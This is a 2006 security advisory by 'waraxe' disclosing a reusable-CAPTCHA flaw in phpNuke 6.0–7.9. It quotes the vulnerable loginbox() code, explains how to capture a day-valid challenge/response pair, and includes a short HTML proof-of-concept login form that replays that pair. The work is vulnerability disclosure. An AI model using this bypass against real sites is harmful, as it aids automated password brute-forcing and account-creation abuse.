[waraxe-2006-SA#045] - Bypassing CAPTCHA in phpNuke 6.x-7.9

[come2waraxe@xxxxxxxxx]

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{                   [ Bypassing CAPTCHA in phpNuke 6.x-7.9 ]                    
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Author: Janek Vind "waraxe"
Date: 18. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-45.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 6.0 - 7.9

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets 
and
Internet. The Administrator has total control of his web site, registered 
users, and
he will have in the hand a powerful assembly of tools to maintain an active and 
100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So what's the CAPTCHA? From wikipedia: http://en.wikipedia.org/wiki/Captcha

A captcha (an acronym for "completely automated public Turing test to tell 
computers
and humans apart") is a type of challenge-response test used in computing to 
determine
whether or not the user is human. The term was coined in 2000 by Luis von Ahn, 
Manuel
Blum, and Nicholas J. Hopper of Carnegie Mellon University, and John Langford 
of IBM.
A common type of captcha requires that the user type the letters of a distorted 
and/or
obscured sequence of letters or digits that appears on the screen.

Phpnuke is using very simple form of CAPTCHA (called "security code"), which 
will try
to resist against automated actions - login bruteforce, account creation DoS, 
ect.
As usual, we can use OCR software for "guessing" the security code. In most of 
the cases
this will succeed, but what is more important - phpNuke's CAPTCHA has very big 
design flaw.
It appears, that nuke CAPTCHA's challenge and response are reusable as many 
times as we
need. 

Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's look at source ("mainfile.php" line ~ 898):

----------------[ from source code ]------------------

function loginbox() {
        global $user, $sitekey, $gfx_chk;

        mt_srand ((double)microtime()*1000000);
        $maxran = 1000000;
        $random_num = mt_rand(0, $maxran);
        $datekey = date("F j");
        $rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey . 
$random_num . $datekey));
        $code = substr($rcode, 2, 6);

----------------[ /from source code ]-----------------

We can see, that challenge is called "$random_num" and response "$code" is 
constructed
from various parts. And this algrithm means, that some specific challenge will 
have same
response in following conditions:

1. It must be same day (because of the "$datekey")
2. HTTP_USER_AGENT must be the same

So how to exploit this design weakness. First we need working 
challenge/response pair 
from "victim" server. For this let's look at CAPTHA picture with numbers at 
login page.
Right mouse click on that picture and (in case of IE) --> properties-->address 
, and we
can see picture url, something like this:

"http://localhost/nuke78/modules.php?gfx=gfx&random_num=112652";

Let's write down "random_num", this is our challenge number. Now just look at 
the same picture and
you will see response number, in this case "304380".
So challenge/response pair for this day is 112652/304380.
And then just implement this knowledge in script or whatever else. As example, 
there is
html code for very simple proof of concept:

 
[------ real life exploit ------]

<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>

<form action="http://localhost/nuke78/modules.php?name=Your_Account"; 
method="post">

Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" 
maxlength="20"><br>

<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">

<input type="hidden" name="op" value="login">
<input type="submit" value="Login">

</form>
<br><br><br><br>
</center>
</body>
</html>

[----- /real life exploit ------]
 


See ya next time and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There is no easy way to write bulletproof CAPTCHA for phpnuke. Let's hope, that
8.x branch will bring some better solutions.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

HDD data recovery - http://www.hdd911.com/

DX expeditions database - http://www.dxdb.com/


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@xxxxxxxxx
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

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